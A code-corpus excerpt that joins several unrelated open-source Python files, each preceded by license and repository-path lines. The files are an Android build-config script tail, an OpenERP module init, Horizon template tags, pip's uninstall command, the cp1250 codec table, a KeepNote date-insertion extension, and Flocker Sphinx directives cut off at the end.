config['resources']['extra_r_text_files'] = [ c['r_text'] for c in all_resources_deps if 'r_text' in c] if options.type in ['android_apk', 'deps_dex']: deps_dex_files = [c['dex_path'] for c in all_library_deps] # An instrumentation test apk should exclude the dex files that are in the apk # under test. if options.type == 'android_apk' and options.tested_apk_config: tested_apk_deps = Deps([options.tested_apk_config]) tested_apk_library_deps = tested_apk_deps.All('java_library') tested_apk_deps_dex_files = [c['dex_path'] for c in tested_apk_library_deps] deps_dex_files = [ p for p in deps_dex_files if not p in tested_apk_deps_dex_files] tested_apk_config = GetDepConfig(options.tested_apk_config) expected_tested_package = tested_apk_config['package_name'] AndroidManifest(options.android_manifest).CheckInstrumentation( expected_tested_package) # Dependencies for the final dex file of an apk or a 'deps_dex'. if options.type in ['android_apk', 'deps_dex']: config['final_dex'] = {} dex_config = config['final_dex'] # TODO(cjhopman): proguard version dex_config['dependency_dex_files'] = deps_dex_files if options.type == 'android_apk': config['dist_jar'] = { 'dependency_jars': [ c['jar_path'] for c in all_library_deps ] } manifest = AndroidManifest(options.android_manifest) deps_info['package_name'] = manifest.GetPackageName() if not options.tested_apk_config and manifest.GetInstrumentation(): # This must then have instrumentation only for itself. manifest.CheckInstrumentation(manifest.GetPackageName()) library_paths = [] java_libraries_list = [] if options.native_libs: libraries = build_utils.ParseGypList(options.native_libs) if libraries: libraries_dir = os.path.dirname(libraries[0]) write_ordered_libraries.SetReadelfPath(options.readelf_path) write_ordered_libraries.SetLibraryDirs([libraries_dir]) all_native_library_deps = ( write_ordered_libraries.GetSortedTransitiveDependenciesForBinaries( libraries)) # Create a java literal array with the "base" library names: # e.g. libfoo.so -> foo java_libraries_list = '{%s}' % ','.join( ['"%s"' % s[3:-3] for s in all_native_library_deps]) library_paths = map( write_ordered_libraries.FullLibraryPath, all_native_library_deps) config['native'] = { 'libraries': library_paths, 'java_libraries_list': java_libraries_list } build_utils.WriteJson(config, options.build_config, only_if_changed=True) if options.depfile: build_utils.WriteDepfile( options.depfile, deps.AllConfigPaths() + build_utils.GetPythonDependencies()) if __name__ == '__main__': sys.exit(main(sys.argv[1:]))
bsd-3-clause
addition-it-solutions/project-all
addons/sale/__init__.py
378
1085
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import sale import sales_team import res_partner import wizard import report import edi import res_config
agpl-3.0
developerworks/horizon
horizon/templatetags/horizon.py
1
4694
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import import copy from django import template from horizon.base import Horizon register = template.Library() @register.filter def can_haz(user, component): """ Checks if the given user meets the requirements for the component. This includes both user roles and services in the service catalog. """ if hasattr(user, 'roles'): user_roles = set([role['name'].lower() for role in user.roles]) else: user_roles = set([]) roles_statisfied = set(getattr(component, 'roles', [])) <= user_roles if hasattr(user, 'roles'): services = set([service['type'] for service in user.service_catalog]) else: services = set([]) services_statisfied = set(getattr(component, 'services', [])) <= services if roles_statisfied and services_statisfied: return True return False @register.filter def can_haz_list(components, user): return [component for component in components if can_haz(user, component)] @register.inclusion_tag('horizon/_nav_list.html', takes_context=True) def horizon_main_nav(context): """ Generates top-level dashboard navigation entries. """ if 'request' not in context: return {} current_dashboard = context['request'].horizon.get('dashboard', None) dashboards = [] for dash in Horizon.get_dashboards(): if callable(dash.nav) and dash.nav(context): dashboards.append(dash) elif dash.nav: dashboards.append(dash) return {'components': dashboards, 'user': context['request'].user, 'current': getattr(current_dashboard, 'slug', None), 'request': context['request']} @register.inclusion_tag('horizon/_subnav_list.html', takes_context=True) def horizon_dashboard_nav(context): """ Generates sub-navigation entries for the current dashboard. """ if 'request' not in context: return {} dashboard = context['request'].horizon['dashboard'] if isinstance(dashboard.panels, dict): panels = copy.copy(dashboard.get_panels()) else: panels = {dashboard.name: dashboard.get_panels()} for heading, items in panels.iteritems(): temp_panels = [] for panel in items: if callable(panel.nav) and panel.nav(context): temp_panels.append(panel) elif not callable(panel.nav) and panel.nav: temp_panels.append(panel) panels[heading] = temp_panels non_empty_panels = dict([(k, v) for k, v in panels.items() if len(v) > 0]) return {'components': non_empty_panels, 'user': context['request'].user, 'current': context['request'].horizon['panel'].slug, 'request': context['request']} @register.inclusion_tag('horizon/common/_progress_bar.html') def horizon_progress_bar(current_val, max_val): """ Renders a progress bar based on parameters passed to the tag. The first parameter is the current value and the second is the max value. Example: ``{% progress_bar 25 50 %}`` This will generate a half-full progress bar. The rendered progress bar will fill the area of its container. To constrain the rendered size of the bar provide a container with appropriate width and height styles. """ return {'current_val': current_val, 'max_val': max_val} class JSTemplateNode(template.Node): """ Helper node for the ``jstemplate`` template tag. """ def __init__(self, nodelist): self.nodelist = nodelist def render(self, context, ): output = self.nodelist.render(context) return output.replace('[[', '{{').replace(']]', '}}') @register.tag def jstemplate(parser, token): """ Replaces ``[[`` and ``]]`` with ``{{`` and ``}}`` to avoid conflicts with Django's template engine when using any of the Mustache-based templating libraries. """ nodelist = parser.parse(('endjstemplate',)) parser.delete_first_token() return JSTemplateNode(nodelist)
apache-2.0
Architektor/PySnip
venv/lib/python2.7/site-packages/pip/commands/uninstall.py
798
2884
from __future__ import absolute_import import pip from pip.wheel import WheelCache from pip.req import InstallRequirement, RequirementSet, parse_requirements from pip.basecommand import Command from pip.exceptions import InstallationError class UninstallCommand(Command): """ Uninstall packages. pip is able to uninstall most installed packages. Known exceptions are: - Pure distutils packages installed with ``python setup.py install``, which leave behind no metadata to determine what files were installed. - Script wrappers installed by ``python setup.py develop``. """ name = 'uninstall' usage = """ %prog [options] <package> ... %prog [options] -r <requirements file> ...""" summary = 'Uninstall packages.' def __init__(self, *args, **kw): super(UninstallCommand, self).__init__(*args, **kw) self.cmd_opts.add_option( '-r', '--requirement', dest='requirements', action='append', default=[], metavar='file', help='Uninstall all the packages listed in the given requirements ' 'file. This option can be used multiple times.', ) self.cmd_opts.add_option( '-y', '--yes', dest='yes', action='store_true', help="Don't ask for confirmation of uninstall deletions.") self.parser.insert_option_group(0, self.cmd_opts) def run(self, options, args): with self._build_session(options) as session: format_control = pip.index.FormatControl(set(), set()) wheel_cache = WheelCache(options.cache_dir, format_control) requirement_set = RequirementSet( build_dir=None, src_dir=None, download_dir=None, isolated=options.isolated_mode, session=session, wheel_cache=wheel_cache, ) for name in args: requirement_set.add_requirement( InstallRequirement.from_line( name, isolated=options.isolated_mode, wheel_cache=wheel_cache ) ) for filename in options.requirements: for req in parse_requirements( filename, options=options, session=session, wheel_cache=wheel_cache): requirement_set.add_requirement(req) if not requirement_set.has_requirements: raise InstallationError( 'You must give at least one requirement to %(name)s (see ' '"pip help %(name)s")' % dict(name=self.name) ) requirement_set.uninstall(auto_confirm=options.yes)
gpl-3.0
xyzz/vcmi-build
project/jni/python/src/Lib/encodings/cp1250.py
593
13942
""" Python Character Mapping Codec cp1250 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1250.TXT' with gencodec.py. """#" import codecs ### Codec APIs class Codec(codecs.Codec): def encode(self,input,errors='strict'): return codecs.charmap_encode(input,errors,encoding_table) def decode(self,input,errors='strict'): return codecs.charmap_decode(input,errors,decoding_table) class IncrementalEncoder(codecs.IncrementalEncoder): def encode(self, input, final=False): return codecs.charmap_encode(input,self.errors,encoding_table)[0] class IncrementalDecoder(codecs.IncrementalDecoder): def decode(self, input, final=False): return codecs.charmap_decode(input,self.errors,decoding_table)[0] class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='cp1250', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter, ) ### Decoding Table decoding_table = ( u'\x00' # 0x00 -> NULL u'\x01' # 0x01 -> START OF HEADING u'\x02' # 0x02 -> START OF TEXT u'\x03' # 0x03 -> END OF TEXT u'\x04' # 0x04 -> END OF TRANSMISSION u'\x05' # 0x05 -> ENQUIRY u'\x06' # 0x06 -> ACKNOWLEDGE u'\x07' # 0x07 -> BELL u'\x08' # 0x08 -> BACKSPACE u'\t' # 0x09 -> HORIZONTAL TABULATION u'\n' # 0x0A -> LINE FEED u'\x0b' # 0x0B -> VERTICAL TABULATION u'\x0c' # 0x0C -> FORM FEED u'\r' # 0x0D -> CARRIAGE RETURN u'\x0e' # 0x0E -> SHIFT OUT u'\x0f' # 0x0F -> SHIFT IN u'\x10' # 0x10 -> DATA LINK ESCAPE u'\x11' # 0x11 -> DEVICE CONTROL ONE u'\x12' # 0x12 -> DEVICE CONTROL TWO u'\x13' # 0x13 -> DEVICE CONTROL THREE u'\x14' # 0x14 -> DEVICE CONTROL FOUR u'\x15' # 0x15 -> NEGATIVE ACKNOWLEDGE u'\x16' # 0x16 -> SYNCHRONOUS IDLE u'\x17' # 0x17 -> END OF TRANSMISSION BLOCK u'\x18' # 0x18 -> CANCEL u'\x19' # 0x19 -> END OF MEDIUM u'\x1a' # 0x1A -> SUBSTITUTE u'\x1b' # 0x1B -> ESCAPE u'\x1c' # 0x1C -> FILE SEPARATOR u'\x1d' # 0x1D -> GROUP SEPARATOR u'\x1e' # 0x1E -> RECORD SEPARATOR u'\x1f' # 0x1F -> UNIT SEPARATOR u' ' # 0x20 -> SPACE u'!' # 0x21 -> EXCLAMATION MARK u'"' # 0x22 -> QUOTATION MARK u'#' # 0x23 -> NUMBER SIGN u'$' # 0x24 -> DOLLAR SIGN u'%' # 0x25 -> PERCENT SIGN u'&' # 0x26 -> AMPERSAND u"'" # 0x27 -> APOSTROPHE u'(' # 0x28 -> LEFT PARENTHESIS u')' # 0x29 -> RIGHT PARENTHESIS u'*' # 0x2A -> ASTERISK u'+' # 0x2B -> PLUS SIGN u',' # 0x2C -> COMMA u'-' # 0x2D -> HYPHEN-MINUS u'.' # 0x2E -> FULL STOP u'/' # 0x2F -> SOLIDUS u'0' # 0x30 -> DIGIT ZERO u'1' # 0x31 -> DIGIT ONE u'2' # 0x32 -> DIGIT TWO u'3' # 0x33 -> DIGIT THREE u'4' # 0x34 -> DIGIT FOUR u'5' # 0x35 -> DIGIT FIVE u'6' # 0x36 -> DIGIT SIX u'7' # 0x37 -> DIGIT SEVEN u'8' # 0x38 -> DIGIT EIGHT u'9' # 0x39 -> DIGIT NINE u':' # 0x3A -> COLON u';' # 0x3B -> SEMICOLON u'<' # 0x3C -> LESS-THAN SIGN u'=' # 0x3D -> EQUALS SIGN u'>' # 0x3E -> GREATER-THAN SIGN u'?' # 0x3F -> QUESTION MARK u'@' # 0x40 -> COMMERCIAL AT u'A' # 0x41 -> LATIN CAPITAL LETTER A u'B' # 0x42 -> LATIN CAPITAL LETTER B u'C' # 0x43 -> LATIN CAPITAL LETTER C u'D' # 0x44 -> LATIN CAPITAL LETTER D u'E' # 0x45 -> LATIN CAPITAL LETTER E u'F' # 0x46 -> LATIN CAPITAL LETTER F u'G' # 0x47 -> LATIN CAPITAL LETTER G u'H' # 0x48 -> LATIN CAPITAL LETTER H u'I' # 0x49 -> LATIN CAPITAL LETTER I u'J' # 0x4A -> LATIN CAPITAL LETTER J u'K' # 0x4B -> LATIN CAPITAL LETTER K u'L' # 0x4C -> LATIN CAPITAL LETTER L u'M' # 0x4D -> LATIN CAPITAL LETTER M u'N' # 0x4E -> LATIN CAPITAL LETTER N u'O' # 0x4F -> LATIN CAPITAL LETTER O u'P' # 0x50 -> LATIN CAPITAL LETTER P u'Q' # 0x51 -> LATIN CAPITAL LETTER Q u'R' # 0x52 -> LATIN CAPITAL LETTER R u'S' # 0x53 -> LATIN CAPITAL LETTER S u'T' # 0x54 -> LATIN CAPITAL LETTER T u'U' # 0x55 -> LATIN CAPITAL LETTER U u'V' # 0x56 -> LATIN CAPITAL LETTER V u'W' # 0x57 -> LATIN CAPITAL LETTER W u'X' # 0x58 -> LATIN CAPITAL LETTER X u'Y' # 0x59 -> LATIN CAPITAL LETTER Y u'Z' # 0x5A -> LATIN CAPITAL LETTER Z u'[' # 0x5B -> LEFT SQUARE BRACKET u'\\' # 0x5C -> REVERSE SOLIDUS u']' # 0x5D -> RIGHT SQUARE BRACKET u'^' # 0x5E -> CIRCUMFLEX ACCENT u'_' # 0x5F -> LOW LINE u'`' # 0x60 -> GRAVE ACCENT u'a' # 0x61 -> LATIN SMALL LETTER A u'b' # 0x62 -> LATIN SMALL LETTER B u'c' # 0x63 -> LATIN SMALL LETTER C u'd' # 0x64 -> LATIN SMALL LETTER D u'e' # 0x65 -> LATIN SMALL LETTER E u'f' # 0x66 -> LATIN SMALL LETTER F u'g' # 0x67 -> LATIN SMALL LETTER G u'h' # 0x68 -> LATIN SMALL LETTER H u'i' # 0x69 -> LATIN SMALL LETTER I u'j' # 0x6A -> LATIN SMALL LETTER J u'k' # 0x6B -> LATIN SMALL LETTER K u'l' # 0x6C -> LATIN SMALL LETTER L u'm' # 0x6D -> LATIN SMALL LETTER M u'n' # 0x6E -> LATIN SMALL LETTER N u'o' # 0x6F -> LATIN SMALL LETTER O u'p' # 0x70 -> LATIN SMALL LETTER P u'q' # 0x71 -> LATIN SMALL LETTER Q u'r' # 0x72 -> LATIN SMALL LETTER R u's' # 0x73 -> LATIN SMALL LETTER S u't' # 0x74 -> LATIN SMALL LETTER T u'u' # 0x75 -> LATIN SMALL LETTER U u'v' # 0x76 -> LATIN SMALL LETTER V u'w' # 0x77 -> LATIN SMALL LETTER W u'x' # 0x78 -> LATIN SMALL LETTER X u'y' # 0x79 -> LATIN SMALL LETTER Y u'z' # 0x7A -> LATIN SMALL LETTER Z u'{' # 0x7B -> LEFT CURLY BRACKET u'|' # 0x7C -> VERTICAL LINE u'}' # 0x7D -> RIGHT CURLY BRACKET u'~' # 0x7E -> TILDE u'\x7f' # 0x7F -> DELETE u'\u20ac' # 0x80 -> EURO SIGN u'\ufffe' # 0x81 -> UNDEFINED u'\u201a' # 0x82 -> SINGLE LOW-9 QUOTATION MARK u'\ufffe' # 0x83 -> UNDEFINED u'\u201e' # 0x84 -> DOUBLE LOW-9 QUOTATION MARK u'\u2026' # 0x85 -> HORIZONTAL ELLIPSIS u'\u2020' # 0x86 -> DAGGER u'\u2021' # 0x87 -> DOUBLE DAGGER u'\ufffe' # 0x88 -> UNDEFINED u'\u2030' # 0x89 -> PER MILLE SIGN u'\u0160' # 0x8A -> LATIN CAPITAL LETTER S WITH CARON u'\u2039' # 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK u'\u015a' # 0x8C -> LATIN CAPITAL LETTER S WITH ACUTE u'\u0164' # 0x8D -> LATIN CAPITAL LETTER T WITH CARON u'\u017d' # 0x8E -> LATIN CAPITAL LETTER Z WITH CARON u'\u0179' # 0x8F -> LATIN CAPITAL LETTER Z WITH ACUTE u'\ufffe' # 0x90 -> UNDEFINED u'\u2018' # 0x91 -> LEFT SINGLE QUOTATION MARK u'\u2019' # 0x92 -> RIGHT SINGLE QUOTATION MARK u'\u201c' # 0x93 -> LEFT DOUBLE QUOTATION MARK u'\u201d' # 0x94 -> RIGHT DOUBLE QUOTATION MARK u'\u2022' # 0x95 -> BULLET u'\u2013' # 0x96 -> EN DASH u'\u2014' # 0x97 -> EM DASH u'\ufffe' # 0x98 -> UNDEFINED u'\u2122' # 0x99 -> TRADE MARK SIGN u'\u0161' # 0x9A -> LATIN SMALL LETTER S WITH CARON u'\u203a' # 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK u'\u015b' # 0x9C -> LATIN SMALL LETTER S WITH ACUTE u'\u0165' # 0x9D -> LATIN SMALL LETTER T WITH CARON u'\u017e' # 0x9E -> LATIN SMALL LETTER Z WITH CARON u'\u017a' # 0x9F -> LATIN SMALL LETTER Z WITH ACUTE u'\xa0' # 0xA0 -> NO-BREAK SPACE u'\u02c7' # 0xA1 -> CARON u'\u02d8' # 0xA2 -> BREVE u'\u0141' # 0xA3 -> LATIN CAPITAL LETTER L WITH STROKE u'\xa4' # 0xA4 -> CURRENCY SIGN u'\u0104' # 0xA5 -> LATIN CAPITAL LETTER A WITH OGONEK u'\xa6' # 0xA6 -> BROKEN BAR u'\xa7' # 0xA7 -> SECTION SIGN u'\xa8' # 0xA8 -> DIAERESIS u'\xa9' # 0xA9 -> COPYRIGHT SIGN u'\u015e' # 0xAA -> LATIN CAPITAL LETTER S WITH CEDILLA u'\xab' # 0xAB -> LEFT-POINTING DOUBLE ANGLE QUOTATION MARK u'\xac' # 0xAC -> NOT SIGN u'\xad' # 0xAD -> SOFT HYPHEN u'\xae' # 0xAE -> REGISTERED SIGN u'\u017b' # 0xAF -> LATIN CAPITAL LETTER Z WITH DOT ABOVE u'\xb0' # 0xB0 -> DEGREE SIGN u'\xb1' # 0xB1 -> PLUS-MINUS SIGN u'\u02db' # 0xB2 -> OGONEK u'\u0142' # 0xB3 -> LATIN SMALL LETTER L WITH STROKE u'\xb4' # 0xB4 -> ACUTE ACCENT u'\xb5' # 0xB5 -> MICRO SIGN u'\xb6' # 0xB6 -> PILCROW SIGN u'\xb7' # 0xB7 -> MIDDLE DOT u'\xb8' # 0xB8 -> CEDILLA u'\u0105' # 0xB9 -> LATIN SMALL LETTER A WITH OGONEK u'\u015f' # 0xBA -> LATIN SMALL LETTER S WITH CEDILLA u'\xbb' # 0xBB -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK u'\u013d' # 0xBC -> LATIN CAPITAL LETTER L WITH CARON u'\u02dd' # 0xBD -> DOUBLE ACUTE ACCENT u'\u013e' # 0xBE -> LATIN SMALL LETTER L WITH CARON u'\u017c' # 0xBF -> LATIN SMALL LETTER Z WITH DOT ABOVE u'\u0154' # 0xC0 -> LATIN CAPITAL LETTER R WITH ACUTE u'\xc1' # 0xC1 -> LATIN CAPITAL LETTER A WITH ACUTE u'\xc2' # 0xC2 -> LATIN CAPITAL LETTER A WITH CIRCUMFLEX u'\u0102' # 0xC3 -> LATIN CAPITAL LETTER A WITH BREVE u'\xc4' # 0xC4 -> LATIN CAPITAL LETTER A WITH DIAERESIS u'\u0139' # 0xC5 -> LATIN CAPITAL LETTER L WITH ACUTE u'\u0106' # 0xC6 -> LATIN CAPITAL LETTER C WITH ACUTE u'\xc7' # 0xC7 -> LATIN CAPITAL LETTER C WITH CEDILLA u'\u010c' # 0xC8 -> LATIN CAPITAL LETTER C WITH CARON u'\xc9' # 0xC9 -> LATIN CAPITAL LETTER E WITH ACUTE u'\u0118' # 0xCA -> LATIN CAPITAL LETTER E WITH OGONEK u'\xcb' # 0xCB -> LATIN CAPITAL LETTER E WITH DIAERESIS u'\u011a' # 0xCC -> LATIN CAPITAL LETTER E WITH CARON u'\xcd' # 0xCD -> LATIN CAPITAL LETTER I WITH ACUTE u'\xce' # 0xCE -> LATIN CAPITAL LETTER I WITH CIRCUMFLEX u'\u010e' # 0xCF -> LATIN CAPITAL LETTER D WITH CARON u'\u0110' # 0xD0 -> LATIN CAPITAL LETTER D WITH STROKE u'\u0143' # 0xD1 -> LATIN CAPITAL LETTER N WITH ACUTE u'\u0147' # 0xD2 -> LATIN CAPITAL LETTER N WITH CARON u'\xd3' # 0xD3 -> LATIN CAPITAL LETTER O WITH ACUTE u'\xd4' # 0xD4 -> LATIN CAPITAL LETTER O WITH CIRCUMFLEX u'\u0150' # 0xD5 -> LATIN CAPITAL LETTER O WITH DOUBLE ACUTE u'\xd6' # 0xD6 -> LATIN CAPITAL LETTER O WITH DIAERESIS u'\xd7' # 0xD7 -> MULTIPLICATION SIGN u'\u0158' # 0xD8 -> LATIN CAPITAL LETTER R WITH CARON u'\u016e' # 0xD9 -> LATIN CAPITAL LETTER U WITH RING ABOVE u'\xda' # 0xDA -> LATIN CAPITAL LETTER U WITH ACUTE u'\u0170' # 0xDB -> LATIN CAPITAL LETTER U WITH DOUBLE ACUTE u'\xdc' # 0xDC -> LATIN CAPITAL LETTER U WITH DIAERESIS u'\xdd' # 0xDD -> LATIN CAPITAL LETTER Y WITH ACUTE u'\u0162' # 0xDE -> LATIN CAPITAL LETTER T WITH CEDILLA u'\xdf' # 0xDF -> LATIN SMALL LETTER SHARP S u'\u0155' # 0xE0 -> LATIN SMALL LETTER R WITH ACUTE u'\xe1' # 0xE1 -> LATIN SMALL LETTER A WITH ACUTE u'\xe2' # 0xE2 -> LATIN SMALL LETTER A WITH CIRCUMFLEX u'\u0103' # 0xE3 -> LATIN SMALL LETTER A WITH BREVE u'\xe4' # 0xE4 -> LATIN SMALL LETTER A WITH DIAERESIS u'\u013a' # 0xE5 -> LATIN SMALL LETTER L WITH ACUTE u'\u0107' # 0xE6 -> LATIN SMALL LETTER C WITH ACUTE u'\xe7' # 0xE7 -> LATIN SMALL LETTER C WITH CEDILLA u'\u010d' # 0xE8 -> LATIN SMALL LETTER C WITH CARON u'\xe9' # 0xE9 -> LATIN SMALL LETTER E WITH ACUTE u'\u0119' # 0xEA -> LATIN SMALL LETTER E WITH OGONEK u'\xeb' # 0xEB -> LATIN SMALL LETTER E WITH DIAERESIS u'\u011b' # 0xEC -> LATIN SMALL LETTER E WITH CARON u'\xed' # 0xED -> LATIN SMALL LETTER I WITH ACUTE u'\xee' # 0xEE -> LATIN SMALL LETTER I WITH CIRCUMFLEX u'\u010f' # 0xEF -> LATIN SMALL LETTER D WITH CARON u'\u0111' # 0xF0 -> LATIN SMALL LETTER D WITH STROKE u'\u0144' # 0xF1 -> LATIN SMALL LETTER N WITH ACUTE u'\u0148' # 0xF2 -> LATIN SMALL LETTER N WITH CARON u'\xf3' # 0xF3 -> LATIN SMALL LETTER O WITH ACUTE u'\xf4' # 0xF4 -> LATIN SMALL LETTER O WITH CIRCUMFLEX u'\u0151' # 0xF5 -> LATIN SMALL LETTER O WITH DOUBLE ACUTE u'\xf6' # 0xF6 -> LATIN SMALL LETTER O WITH DIAERESIS u'\xf7' # 0xF7 -> DIVISION SIGN u'\u0159' # 0xF8 -> LATIN SMALL LETTER R WITH CARON u'\u016f' # 0xF9 -> LATIN SMALL LETTER U WITH RING ABOVE u'\xfa' # 0xFA -> LATIN SMALL LETTER U WITH ACUTE u'\u0171' # 0xFB -> LATIN SMALL LETTER U WITH DOUBLE ACUTE u'\xfc' # 0xFC -> LATIN SMALL LETTER U WITH DIAERESIS u'\xfd' # 0xFD -> LATIN SMALL LETTER Y WITH ACUTE u'\u0163' # 0xFE -> LATIN SMALL LETTER T WITH CEDILLA u'\u02d9' # 0xFF -> DOT ABOVE ) ### Encoding table encoding_table=codecs.charmap_build(decoding_table)
lgpl-2.1
vatslav/perfectnote
keepnote/extensions/editor_insert_date/__init__.py
1
6514
""" KeepNote Insert date extension """ # # KeepNote # Copyright (c) 2008-2009 Matt Rasmussen # Author: Matt Rasmussen <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. # # python imports import gettext import time import os import sys _ = gettext.gettext # keepnote imports import keepnote from keepnote.gui import extension # pygtk imports try: import pygtk pygtk.require('2.0') import gtk from keepnote.gui import dialog_app_options except ImportError: # do not fail on gtk import error, # extension should be usable for non-graphical uses pass class Extension (extension.Extension): version = (1, 0) name = "Editor Insert Date" author = "Matt Rasmussen <[email protected]>" description = "Inserts the current date in the text editor" def __init__(self, app): """Initialize extension""" extension.Extension.__init__(self, app) self._widget_focus = {} self._set_focus_id = {} self._ui_id = {} self._action_groups = {} self.format = "%Y/%m/%d" self.enabled.add(self.on_enabled) def on_enabled(self, enabled): if enabled: self.load_config() def get_depends(self): return [("keepnote", ">=", (0, 6, 1))] #=============================== # config handling def get_config_file(self): return self.get_data_file("config") def load_config(self): config = self.get_config_file() if not os.path.exists(config): self.save_config() else: self.format = open(config).readline() def save_config(self): config = self.get_config_file() out = open(config, "w") out.write(self.format) out.close() #================================ # UI setup def on_add_ui(self, window): # list to focus events from the window self._set_focus_id[window] = window.connect("set-focus", self._on_focus) # add menu options self._action_groups[window] = gtk.ActionGroup("MainWindow") self._action_groups[window].add_actions([ ("Insert Date", None, "Insert _Date", "", None, lambda w: self.insert_date(window)), ]) window.get_uimanager().insert_action_group(self._action_groups[window], 0) self._ui_id[window] = window.get_uimanager().add_ui_from_string( """ <ui> <menubar name="main_menu_bar"> <menu action="Edit"> <placeholder name="Viewer"> <placeholder name="Editor"> <placeholder name="Extension"> <menuitem action="Insert Date"/> </placeholder> </placeholder> </placeholder> </menu> </menubar> </ui> """) def on_remove_ui(self, window): # disconnect window callbacks window.disconnect(self._set_focus_id[window]) del self._set_focus_id[window] # remove menu options window.get_uimanager().remove_ui(self._ui_id[window]) window.get_uimanager().remove_action_group(self._action_groups[window]) del self._action_groups[window] del self._ui_id[window] #================================= # Options UI setup def on_add_options_ui(self, dialog): dialog.add_section(EditorInsertDateSection("editor_insert_date", dialog, self._app, self), "extensions") def on_remove_options_ui(self, dialog): dialog.remove_section("editor_insert_date") #================================ # actions def _on_focus(self, window, widget): """Callback for focus change in window""" self._widget_focus[window] = widget def insert_date(self, window): """Insert a date in the editor of a window""" widget = self._widget_focus.get(window, None) if isinstance(widget, gtk.TextView): stamp = time.strftime(self.format, time.localtime()) widget.get_buffer().insert_at_cursor(stamp) class EditorInsertDateSection (dialog_app_options.Section): """A Section in the Options Dialog""" def __init__(self, key, dialog, app, ext, label=u"Editor Insert Date", icon=None): dialog_app_options.Section.__init__(self, key, dialog, app, label, icon) self.ext = ext w = self.get_default_widget() v = gtk.VBox(False, 5) w.add(v) table = gtk.Table(1, 2) v.pack_start(table, False, True, 0) label = gtk.Label("Date format:") table.attach(label, 0, 1, 0, 1, xoptions=0, yoptions=0, xpadding=2, ypadding=2) self.format = gtk.Entry() table.attach(self.format, 1, 2, 0, 1, xoptions=gtk.FILL, yoptions=0, xpadding=2, ypadding=2) xml = gtk.glade.XML(dialog_app_options.get_resource("rc", "keepnote.glade"), "date_and_time_key", keepnote.GETTEXT_DOMAIN) key = xml.get_widget("date_and_time_key") key.set_size_request(400, 200) v.pack_start(key, True, True, 0) w.show_all() def load_options(self, app): """Load options from app to UI""" self.format.set_text(self.ext.format) def save_options(self, app): """Save options to the app""" self.ext.format = self.format.get_text() self.ext.save_config()
gpl-2.0
wallnerryan/flocker-profiles
flocker/docs/bootstrap/_simple.py
15
4954
# Copyright Hybrid Logic Ltd. See LICENSE file for details. """ Simple directives that just wrap content. """ from textwrap import dedent from docutils import nodes from docutils.parsers.rst import directives from docutils.parsers.rst import Directive class EmptyDiv(Directive): """ Creates a new directive that takes class names as arguments and when parsed to HTML, wraps those class names in an empty div. """ has_content = False required_arguments = 1 final_argument_whitespace = 1 def run(self): html = '<div class="{meta}"></div>'.format(meta=self.arguments[0]) return [nodes.raw('', html, format='html')] def create_simple_html_directive(name, pre, post, has_content=True, match_titles=False): """ Creates a node class, directive class and setup method for the given parameters. :param name: String representing the RST directive to add. :param pre: String representing HTML to come before directive content. :param post: String representing HTML to come after directive content. :param has_content: Boolean indicating whether the directive accepts a content block. :param match_titles: Boolean indicating whether headings and titles may be included in the block contained within this directive. """ node_class = type( name.replace('-', '_'), (nodes.General, nodes.Element), {} ) def visit_html(self, node): self.body.append(pre) def depart_html(self, node): self.body.append(post) def run_directive(self): node = node_class() if has_content: text = self.content self.state.nested_parse(text, self.content_offset, node, match_titles=match_titles) # FIXME: This should add more stuff. self.state.document.settings.record_dependencies.add(__file__) return [node] directive_class = type(name.title() + 'Directive', (Directive,), { "has_content": has_content, "run": run_directive, }) def setup(app): app.add_node(node_class, html=(visit_html, depart_html)) app.add_directive(name, directive_class) return node_class, directive_class, setup intro_text, IntroTextDirective, intro_text_setup = ( create_simple_html_directive( "intro-text", pre=dedent("""\ <div class="jumbotron jumbo-flocker"> <div class="container"><div class="row"> <div class="col-md-9"><p> """), post=dedent("""\ </p></div></div></div></div> """), )) tutorial_step_condensed, TutorialStepCondensedDirective, \ tutorial_step_condensed_setup = ( create_simple_html_directive( "tutorial-step-condensed", pre=dedent("""\ <div class="row row-centered"><div class="\ col-md-9 col-sm-12 col-xs-12 col-centered"> """), post=dedent("""\ </div></div> """), match_titles=True, )) tutorial_step, TutorialStepDirective, tutorial_step_setup = ( create_simple_html_directive( "tutorial-step", pre=dedent("""\ <div class="container"><div class="row"><div class="\ col-md-12 text-larger"> """), post=dedent("""\ </div></div></div> """), match_titles=True, )) noscript_content, NoScriptContentDirective, noscript_content_setup = ( create_simple_html_directive( "noscript-content", pre=dedent("""\ <noscript> """), post=dedent("""\ </noscript> """), match_titles=True, )) mobile_label, MobileLabelDirective, mobile_label_setup = ( 